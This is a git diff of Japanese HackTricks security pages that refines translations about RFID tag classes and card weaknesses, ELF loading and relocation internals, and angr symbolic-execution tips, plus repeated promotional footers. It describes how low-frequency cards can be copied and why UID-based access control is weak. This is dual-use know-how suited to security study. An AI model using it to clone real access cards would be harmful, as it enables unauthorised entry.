* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm**をフォローする**.
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details>

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですかまたは、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを入手しましょう
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを入手してください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、または**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>
@ -23,19 +23,19 @@ RFIDタグは、**独自の電源(アクティブ)**(埋め込みバッテ
EPCglobalはRFIDタグを6つのカテゴリに分類しています。各カテゴリのタグには、前のカテゴリにリストされているすべての機能が備わっており、後方互換性があります。
* **クラス0**タグは、**UHF**バンドで動作する**パッシブ**タグです。ベンダーは製造工場で事前にプログラムします。そのため、メモリに格納された情報を**変更できません**
* **クラス1**タグは**HF**バンドでも動作できます。さらに、製造後に**1回だけ書き込む**ことができます。多くのクラス1タグは、受信したコマンドの**巡回冗長検査CRC**を処理できます。CRCは、エラー検出のためにコマンドの末尾にいくつかの追加バイトが含まれます。
* **クラス1**タグは**HF**バンドでも動作できます。さらに、製造後に**1回だけ書き込む**ことができます。多くのクラス1タグは、受信したコマンドの**巡回冗長検査CRC**を処理できます。CRCはエラー検出のためのコマンドの末尾に追加されるいくつかの追加バイトです。
* **クラス2**タグは**複数回書き込む**ことができます。
* **クラス3**タグには、現在の温度やタグの動きなどの環境パラメータを記録できる**埋め込みセンサ**が含まれることがあります。これらのタグは**半パッシブ**であり、組み込み**バッテリー**などの埋め込み電源を持っているため、他のタグやリーダーと**ワイヤレス通信を開始**することはできません。
* **クラス3**タグには、現在の温度やタグの動きなどの環境パラメータを記録できる**埋め込みセンサ**が含まれています。これらのタグは**半パッシブ**であり、組み込み**バッテリー**などの埋め込み電源を持っているため、他のタグやリーダーと**ワイヤレス通信を開始できません**
* **クラス4**タグは、同じクラスの他のタグと通信を開始できるため、**アクティブタグ**です。
* **クラス5**タグは、他のすべての前のタグクラスと通信し、**RFIDリーダー**として機能することができます。
### RFIDタグに格納される情報
RFIDタグのメモリには通常、次の4種類のデータが格納されます**エンティティ**を識別する**識別データ**(このデータには銀行口座などのユーザー定義フィールドが含まれる);**エンティティに関する詳細**を提供する**補足データ**;タグの内部**構成**に使用される**制御データ**;およびタグの**製造業者データ**で、タグの**一意の識別子UID**と製造、タイプ、ベンダーに関する詳細が含まれます。最初の2種類のデータはすべての商用タグに見られ、最後の2種類はタグのベンダーに基づいて異なる場合があります。
RFIDタグのメモリには通常、次の4種類のデータが格納されます**エンティティ**を**識別する** **識別データ**(このデータには銀行口座などのユーザー定義フィールドが含まれます);**エンティティに関する** **詳細**を提供する**補足データ**;タグの内部**構成**に使用される**制御データ**;およびタグの**製造業者データ**で、タグの**一意の識別子UID**とタグの**製造****タイプ****ベンダー**に関する詳細が含まれます。最初の2種類のデータはすべての商用タグに見られ、最後の2種類はタグのベンダーに基づいて異なる場合があります。
ISO標準は、タグが属する**オブジェクトの種類**を示すコードである**アプリケーションファミリー識別子AFI**値を指定しています。 ISOによって指定されたもう1つの重要なレジスタは、**ユーザーデータの論理的な組織**を定義する**データストレージフォーマット識別子DSFID**す。
ISO標準は、タグが属する**オブジェクトの種類**を示す**アプリケーションファミリー識別子AFI**値、**ユーザーデータの論理的な組織**を定義する**データストレージフォーマット識別子DSFID**という重要なレジスタを指定しています。
ほとんどのRFID **セキュリティコントロール**には、各ユーザーメモリブロックとAFIおよびDSFID値を含む特別なレジスタへの**読み取り**または**書き込み**操作を**制限**するメカニズムがあります。これらの**ロック**メカニズムは、制御メモリに格納されたデータを使用し、ベンダーによって事前に設定された**デフォルトパスワード**を使用しますが、タグ所有者が**カスタムパスワードを設定**できるようにします。
ほとんどのRFID **セキュリティコントロール**には、各ユーザーメモリブロックとAFIおよびDSFID値を含む特別なレジスタへの**読み取り**または**書き込み**操作を**制限**するメカニズムがあります。これらの**ロック** **メカニズム**は、制御メモリに格納されたデータを使用し、ベンダーによって事前に設定された**デフォルトパスワード**を使用しますが、タグ所有者が**カスタムパスワードを設定**できます。
### 低周波数タグと高周波数タグの比較
@ -43,19 +43,19 @@ ISO標準は、タグが属する**オブジェクトの種類**を示すコー
## 低周波数RFIDタグ125kHz
**低周波数タグ**は、高いセキュリティが必要とされないシステムでよく使用されます:建物へのアクセス、インターコムキー、ジムの会員カードなど。より長い範囲を持つため、有料の駐車場での使用に便利です:ドライバーはカードをリーダーに近づける必要がなく、遠くからトリガーされます。同時に、低周波数タグは非常に原始的であり、データ転送速度が低いです。そのため、残高管理や暗号化などの複雑な双方向データ転送を実装することは不可能です。低周波数タグは認証手段を持たず、短いIDのみを送信します。
**低周波数タグ**は、建物へのアクセス、インターコムキー、ジムの会員カードなど、**高いセキュリティが不要な**システムでよく使用されます。より長い範囲を持つため、有料の駐車場でも便利に使用されます:ドライバーはカードをリーダーに近づける必要がなく、遠くからトリガーされます。同時に、低周波数タグは非常に原始的で、データ転送速度が低いです。そのため、残高管理や暗号化などの複雑な双方向データ転送を実装することは不可能です。低周波数タグは、認証手段を持たずに短いIDのみを送信します。
これらのデバイスは**パッシブRFID**技術に依存し、**30 kHzから300 kHz**の範囲で動作しますが、**125 kHzから134 kHz**を使用することがより一般的です:
これらのデバイスは**パッシブRFID**技術に依存し、**30 kHzから300 kHz**の範囲で動作しますが、**125 kHzから134 kHz**を使用することが一般的です:
* **長距離** — 低周波数は長い距離に翻訳されます。1メートルまでの距離から動作するEM-MarinやHIDリーダーがあります。これらはよく駐車場で使用されます。
* **原始的なプロトコル** — 低データ転送速度のため、これらのタグは短いIDのみを送信できます。ほとんどの場合、データは認証されず、保護されていません。カードがリーダーの範囲内にあるとすぐにIDの送信が開始されます。
* **低セキュリティ** — これらのカードは簡単にコピーでき、プロトコルの原始性のため、他の人のポケットから読み取ることさえ可能です。
* **長距離** — 低周波数は長い距離に翻訳されます。1メートルまでの距離から動作するEM-MarinやHIDリーダーがあります。これらはよく駐車場で使用されます。
* **原始的なプロトコル** — 低データ転送速度のため、これらのタグは短いIDのみを送信できます。ほとんどの場合、データは認証されず、保護されていません。カードがリーダーの範囲内にあるとすぐにIDの送信が開始されます。
* **低セキュリティ** — これらのカードは簡単にコピーできるか、プロトコルの原始性のため、他の人のポケットから読み取ることができます。
**人気のある125 kHzプロトコル**
* **EM-Marin** — EM4100、EM4102。CISで最も人気のあるプロトコル。シンプルさと安定性のため、約1メートルから読み取ることができます。
* **HID Prox II** — HID Globalが導入した低周波数プロトコル。このプロトコルは西洋諸国でより人気があります。比較的高価なカードやリーダーがあります。
* **Indala** — Motorolaが導入し、後にHIDが取得した非常に古い低周波数プロトコル。前述の2つと比較して、野生で遭遇する可能性は低いです。
* **HID Prox II** — HID Globalが導入した低周波数プロトコル。このプロトコルは西洋諸国でより人気があります。より複雑で、このプロトコル用のカードとリーダーは比較的高価です。
* **Indala** — Motorolaが導入し、後にHIDが取得した非常に古い低周波数プロトコル。これは使用が減少しているため、前述の2つよりも遭遇する可能性は低いです。
実際には、他にも多くの低周波数プロトコルがあります。しかし、これらはすべて物理層で同じ変調を使用し、上記にリストされたもののいずれかの変形と見なすことができます。
@ -69,20 +69,20 @@ ISO標準は、タグが属する**オブジェクトの種類**を示すコー
## 高周波数RFIDタグ13.56 MHz
**高周波数タグ**は、暗号化、大規模な双方向データ転送、認証などが必要な複雑なリーダータグの相互作用に使用されます。\
銀行カード、公共交通機関、その他のセキュアパスで見つけることができます。
**高周波数タグ**は、暗号化、大規模な双方向データ転送、認証などが必要なより複雑なリーダータグの相互作用に使用されます。\
銀行カード、公共交通機関、その他のセキュアパスで見つかることが一般的です。
**高周波数13.56 MHzタグは、標準とプロトコルのセット**です。通常、これらは[NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)と呼ばれますが、それが常に正しいとは限りません。物理的および論理的レベルで使用される基本プロトコルセットはISO 14443です。高レベルのプロトコルやISO 19092などの代替標準は、これに基づいています。多くの人々は、この技術を**近距離通信NFC**と呼びますが、これは13.56 MHz周波数で動作するデバイスのための用語です。
**高周波数13.56 MHzタグは、標準とプロトコルのセット**です。通常、[NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)として言及されますが、それが常に正しいとは限りません。物理的および論理的レベルで使用される基本プロトコルセットはISO 14443です。高レベルのプロトコルやISO 19092などの代替標準は、これに基づいています。多くの人々は、この技術を**近距離通信NFC**と呼びますが、これは必ずしも正確ではありません。13.56 MHz周波数で動作するデバイスを指します。
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
簡単に言うと、NFCのアーキテクチャは次のように機能しますカードを製造する会社が送信プロトコルを選択し、ISO 14443に基づいて実装します。たとえば、NXPはMifareと呼ばれる独自の高レベル送信プロトコルを発明しました。ただし、MifareカードはISO 14443-A標準に基づいています。
簡単に言うと、NFCのアーキテクチャは次のように機能しますカードを製造する会社が送信プロトコルを選択し、低レベルのISO 14443に基づいて実装します。たとえば、NXPは自の高レベル送信プロトコルであるMifareを発明しました。ただし、MifareカードはISO 14443-A標準に基づいています。
Flipperは、低レベルのISO 14443プロトコル、Mifare Ultralightデータ転送プロトコル、および銀行カードで使用されるEMVのサポートを追加する作業を行っています。Mifare ClassicとNFC NDEFのサポートを追加する予定です。NFCを構成するプロトコルと標準についての詳細な説明は、後日別の記事で紹介する予定です。
Flipperは、ISO 14443プロトコル、Mifare Ultralightデータ転送プロトコル、および銀行カードで使用されるEMVのサポートを追加する作業を行っています。Mifare ClassicとNFC NDEFのサポートを追加する予定です。NFCを構成するプロトコルと標準の詳細な調査は、後で別の記事で取り上げる予定です。
ISO 14443-A標準に基づくすべての高周波数カードにはユニークなチップIDがあります。これはネットワークカードのMACアドレスのようにカードのシリアル番号として機能します。**通常、UIDは4または7バイト**ですが、**最大で10バイト**になることもあります。UIDは秘密ではなく、**カード自体に印刷されていることさえあります**。
ISO 14443-A標準に基づくすべての高周波数カードにはユニークなチップIDがあります。これはネットワークカードのMACアドレスのようにカードのシリアル番号として機能します。**通常、UIDは4または7バイト**ですが、**10バイトになる**ことも稀にあります。UIDは秘密ではなく、**カード自体に印刷されていることさえあります**。
UIDを使用して**認証してアクセスを許可**するアクセス制御システムが多数あります。時には、これはRFIDタグが**暗号化**をサポートしている場合でも発生します。このような**誤用**により、セキュリティの点で125 kHzカードと同じレベルに引き下げられます。仮想カードApple Payなどは、電話所有者が支払いアプリでドアを開けることがないように、動的UIDを使用します。
UIDを使用して**認証してアクセスを許可**するアクセス制御システムが多数あります。時には、RFIDタグが**暗号化をサポート**していても、これが**起こる**ことがあります。このような**誤用**は、セキュリティの点で**125 kHzカード**と同じレベルに引き下げます。仮想カードApple Payなどは、電話所有者が支払いアプリでドアを開けることがないように、動的UIDを使用します。
* **短い範囲** — 高周波数カードはリーダーに近づける必要があるように設計されています。これにより、不正な操作からカードを保護するのに役立ちます。私たちが達成した最大の読み取り範囲は約15 cmで、これはカスタム製の長距離リーダーを使用した場合です。
* **高度なプロトコル**最大424 kbpsのデータ転送速度により、完全な双方向データ転送を備えた複雑なプロトコ
* **短距離** — 高周波数カードはリーダーに近づける必要があるように設計されています。これにより、不正な操作からカードを保護するのに役立ちます。私たちが達成した最大の読み取り範囲は約15 cmで、これはカスタム製の長距離リーダーを使用した場合です。
* **高度なプロトコル** — 424 kbpsまでのデータ転送速度により、完全な双方向データ転送を備えた複

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローしてください[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details>
## プログラムヘッダー
ローダーにELFをメモリにロードする方法を説明します:
ローダーにELFをメモリにどのようにロードするかを説明します:
```bash
readelf -lW lnstat
@ -60,7 +60,7 @@ Segment Sections...
### LOAD
これらのヘッダは、バイナリをメモリに**どのようにロードするか**を示すために使用されます。\
各**LOAD**ヘッダは、**メモリの領域**サイズ、権限、アライメントを示し、ELFバイナリのバイトをそこにコピーすることを示します。
各**LOAD**ヘッダは、**メモリ**の領域サイズ、権限、アライメントを示し、ELFバイナリのバイトをそこにコピーすることを示します。
例えば、2番目のヘッダはサイズが0x1190で、0x1fc48に配置され、読み取りと書き込みの権限があり、オフセット0xfc48から0x528で埋められます予約されたスペース全体を埋めるわけではありません。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。
@ -86,7 +86,7 @@ Segment Sections...
前述の例では、読み取り専用として0x3b8バイトを0x1fc48にコピーし、`.init_array .fini_array .dynamic .got .data .bss`セクションに影響を与えます。
RELROは部分的または完全であることに注意してください。部分的なバージョンは、**遅延バインディング**に使用される**`.plt.got`セクション**を保護せず、最初にその場所が検索されるときにライブラリのアドレスを書き込むためにこのメモリスペースに**書き込み権限**が必要です。
RELROは部分的または完全であることに注意してください。部分的なバージョンは、**遅延バインディング**に使用される**`.plt.got`**セクションを保護せず、最初にその場所が検索されるときにライブラリのアドレスを書き込むためにこのメモリスペースに**書き込み権限**が必要です。
### TLS
@ -157,18 +157,18 @@ CONTENTS, READONLY
```
### メタセクション
* **文字列テーブル**: ELFファイルで必要なすべての文字列を含んでいますただし、実際にプログラムで使用されるものではありません)。たとえば、`.text`や`.data`などのセクション名が含まれます。そして、`.text`が文字列テーブル内のオフセット45にある場合、**name**フィールドで番号**45**が使用されます。
* **文字列テーブル**: ELFファイルで必要なすべての文字列を含んでいますただし、プログラムで実際に使用されるものではありません)。たとえば、`.text`や`.data`などのセクション名が含まれます。そして、`.text`が文字列テーブル内のオフセット45にある場合、**name**フィールドで数字**45**が使用されます。
* 文字列テーブルの場所を見つけるために、ELFには文字列テーブルへのポインタが含まれています。
* **シンボルテーブル**: シンボルに関する情報を含んでいます。たとえば、名前(文字列テーブル内のオフセット)、アドレス、サイズなど、シンボルに関するさまざまなメタデータが含まれています。
* **シンボルテーブル**: 名前(文字列テーブル内のオフセット)、アドレス、サイズなど、シンボルに関する情報が含まれています。
### メインセクション
* **`.text`**: プログラムの実行命令です
* **`.data`**: プログラム内で定義された値を持つグローバル変数です
* **`.bss`**: 初期化されていないグローバル変数です(またはゼロに初期化されています)。ここにある変数は自動的にゼロに初期化されるため、バイナリに無駄なゼロが追加されるのを防ぎます。
* **`.rodata`**: 定数のグローバル変数(読み取り専用セクション)です
* **`.tdata`**および**`.tbss`**: スレッドローカル変数が使用される場合C++では`__thread_local`、C言語では`__thread`)、`.data`および`.bss`のようなものです
* **`.dynamic`**: 以下を参照してください
* **`.text`**: プログラムの実行命令。
* **`.data`**: プログラム内で定義された値を持つグローバル変数。
* **`.bss`**: 初期化されていないグローバル変数(またはゼロに初期化されている)。ここにある変数は自動的にゼロに初期化されるため、バイナリに無駄なゼロが追加されるのを防ぎます。
* **`.rodata`**: 定数のグローバル変数(読み取り専用セクション)。
* **`.tdata`**および**`.tbss`**: スレッドローカル変数が使用される場合C++の`__thread_local`または`__thread`など)の`.data`および`.bss`のようなもの
* **`.dynamic`**: 以下を参照。
## シンボル
@ -237,9 +237,9 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
## Relocations
## リロケーション
ローダーは、読み込んだ後に依存関係を再配置する必要があります。これらの再配置は、リロケーションテーブルでRELまたはRELAの形式で示され、再配置の数は動的セクションのRELSZまたはRELASZで与えられます。
ローダーは、読み込んだ後に依存関係を再配置する必要があります。これらの再配置は、リロケーションテーブルでRELまたはRELAの形式で示され、再配置の数はダイナミックセクションのRELSZまたはRELASZで与えられます。
```
readelf -r lnstat
@ -316,21 +316,21 @@ Offset Info Type Sym. Value Sym. Name + Addend
プログラムが通常のアドレス通常は0x400000ではない場所にロードされる場合アドレスがすでに使用されているか、ASLRなどの理由で、静的再配置は、バイナリが通常のアドレスにロードされることを期待していた値を持つポインターを修正します。
たとえば、`R_AARCH64_RELATIV` タイプのセクションは、再配置バイアスに加算値を加えたアドレスを修正する必要があります。
えば、`R_AARCH64_RELATIV` タイプのセクションは、再配置バイアスに加算値を加えたアドレスを修正する必要があります。
### 動的再配置とGOT
再配置は外部シンボル(依存関係の関数などを参照することもできます。たとえば、libC の malloc 関数などです。その後、ローダーは libC をロードする際に malloc 関数がロードされるアドレスを確認し、そのアドレスを malloc のアドレスが指定されるべき GOTGlobal Offset Tableテーブル再配置テーブルで指定に書き込みます
再配置は外部シンボル(依存関係のある関数などを参照することもあります。例えば、libC の malloc 関数のようなものです。そのため、ローダーはlibCをロードする際にmalloc関数がロードされるアドレスを確認し、そのアドレスをGOTGlobal Offset Tableテーブルに書き込みます(再配置テーブルで指定されている)。
### 手続きリンケージテーブル
PLT セクションを使用すると、遅延バインディングを実行できます。つまり、関数の場所の解決は、その関数がアクセスされる最初のときに実行されます。
PLTセクションを使用すると、遅延バインディングを実行できます。つまり、関数の場所の解決は、その関数がアクセスされる最初の時に行われます。
したがって、プログラムが malloc を呼び出すと、実際には PLT 内の `malloc`対応する場所を呼び出します(`malloc@plt`)。最初に呼び出されると、`malloc` のアドレスを解決して保存し、次に `malloc` が呼び出されるときには、そのアドレスが使用されます。
したがって、プログラムがmallocを呼び出すと、実際にはPLT内の`malloc`に対応する場所を呼び出します(`malloc@plt`)。最初に呼び出されると、`malloc`のアドレスを解決して保存し、次に`malloc`が呼び出されると、そのアドレスが使用されます。
## プログラムの初期化
プログラムがロードされた後、実行する準備が整います。ただし、実行される最初のコードは常に `main` 関数ではありません。たとえば、C++ では、グローバル変数がクラスのオブジェクトである場合、このオブジェクトは `main` が実行される**前に**初期化される必要があります。
プログラムがロードされた後、実行される準備が整います。ただし、実行される最初のコードが常に`main`関数ではありません。これは、たとえばC++でグローバル変数がクラスのオブジェクトである場合、このオブジェクトは`main`が実行される**前に初期化**される必要があるためです。
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -351,7 +351,7 @@ printf("Main\n");
return 0;
}
```
注意してください、これらのグローバル変数は`.data`または`.bss`に配置されていますが、`__CTOR_LIST__`と`__DTOR_LIST__`のリストには初期化および破棄するオブジェクトが格納され、それらを追跡するために順番に配置されています。
注意してください、これらのグローバル変数は`.data`または`.bss`に配置されていますが、`__CTOR_LIST__`と`__DTOR_LIST__`のリストには初期化および破棄するオブジェクトが順番に格納されて、それらを追跡するために保持されています。
Cコードから同じ結果を得ることができます。GNU拡張を使用すると
```c
@ -362,16 +362,16 @@ __attributte__((destructor)) //Add to the destructor list
また、他のオプションとして、動的セクションで **`INIT_ARRAY`** および **`FINI_ARRAY`** エントリに **`__CTOR_LIST__`** および **`__DTOR_LIST__`** のリストを参照し、これらの長さは **`INIT_ARRAYSZ`** および **`FINI_ARRAYSZ`** で示されます。各エントリは引数なしで呼び出される関数ポインタです。
さらに、**`INIT_ARRAY`** ポインタよりも**前に**実行される **ポインタ** を持つ **`PREINIT_ARRAY`** を持つことも可能です。
さらに、**`INIT_ARRAY`** ポインタよりも前に実行される **ポインタ** を持つ **`PREINIT_ARRAY`** を持つことも可能です。
### 初期化順序
### 初期化順序
1. プログラムがメモリにロードされ、静的グローバル変数が **`.data`** で初期化され、初期化されていない変数が **`.bss`** でゼロクリアされます。
2. プログラムまたはライブラリのすべての **依存関係****初期化** され、 **動的リンク** が実行されます。
3. **`PREINIT_ARRAY`** 関数が実行されます。
4. **`INIT_ARRAY`** 関数が実行されます。
5. **`INIT`** エントリがある場合、それが呼び出されます。
6. ライブラリの場合、dlopen はここで終了し、プログラムの場合は、**実際のエントリポイント** (`main` 関数) を呼び出す時です。
6. ライブラリの場合、dlopen はここで終了し、プログラムの場合は **実際のエントリポイント** (`main` 関数) を呼び出す時です。
## スレッドローカルストレージTLS
@ -383,4 +383,4 @@ __attributte__((destructor)) //Add to the destructor list
各変数には、サイズと TLS オフセットを指定する TLS ヘッダーのエントリがあり、これはスレッドのローカルデータ領域で使用するオフセットです。
`__TLS_MODULE_BASE` は、モジュールのスレッドローカルストレージのベースアドレスを参照するために使用されるシンボルであり、モジュールのスレッドローカルデータを含むメモリ領域を指します。
`__TLS_MODULE_BASE` は、モジュールのスレッドローカルデータを含むメモリ内の領域を指すシンボルです。

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます。
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
@ -416,7 +416,7 @@ main(sys.argv)
### 制約の適用
{% hint style="info" %}
時には、16文字の単語を1文字ずつ比較するような単純な人間の操作は、**angr**にとってコストがかかります。なぜなら、それは1つのifごとに分岐を生成するため、指数関数的に分岐を生成する必要があるからです:`2^16`\
時には、16文字の単語を1文字ずつ比較するような単純な人間の操作は、**angr**にとってコストがかかります。なぜなら、それは1つのifごとに1つのブランチを生成するため、**指数的に**ブランチを生成する必要があるからです:`2^16`\
そのため、**angrに前のポイントに戻ってもらい**(実際に難しい部分がすでに完了している場所)**その制約を手動で設定する**方が簡単です。
{% endhint %}
```python
@ -490,16 +490,16 @@ if __name__ == '__main__':
main(sys.argv)
```
{% hint style="danger" %}
いくつかのシナリオでは、**veritesting**をアクティブにすることができます。これにより、類似した状態がマージされ、無駄なブランチを保存して解決策を見つけることができます:`simulation = project.factory.simgr(initial_state, veritesting=True)`
いくつかのシナリオでは、**veritesting**をアクティブにすることができ、類似した状態をマージして無駄なブランチを保存し、解決策を見つけることができます:`simulation = project.factory.simgr(initial_state, veritesting=True)`
{% endhint %}
{% hint style="info" %}
これらのシナリオでは、**angrが理解しやすいように関数をフックする**こともできます。
これらのシナリオでは、**angrが理解できるように関数をフックする**こともできます。
{% endhint %}
### シミュレーションマネージャ
一部のシミュレーションマネージャは、他のものよりも有用な場合があります。前述の例では、多くの有用なブランチが作成された問題がありました。ここでは、**veritesting**テクニックを使用してこれらをマージし、解決策を見つけます。\
一部のシミュレーションマネージャは、他のものよりも有用な場合があります。前述の例では、多くの有用なブランチが作成された問題がありました。ここでは、**veritesting**テクニックがそれらをマージし、解決策を見つけます。\
このシミュレーションマネージャは、次のようにしてアクティブ化することもできます:`simulation = project.factory.simgr(initial_state, veritesting=True)`
```python
import angr
@ -823,10 +823,10 @@ main(sys.argv)
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
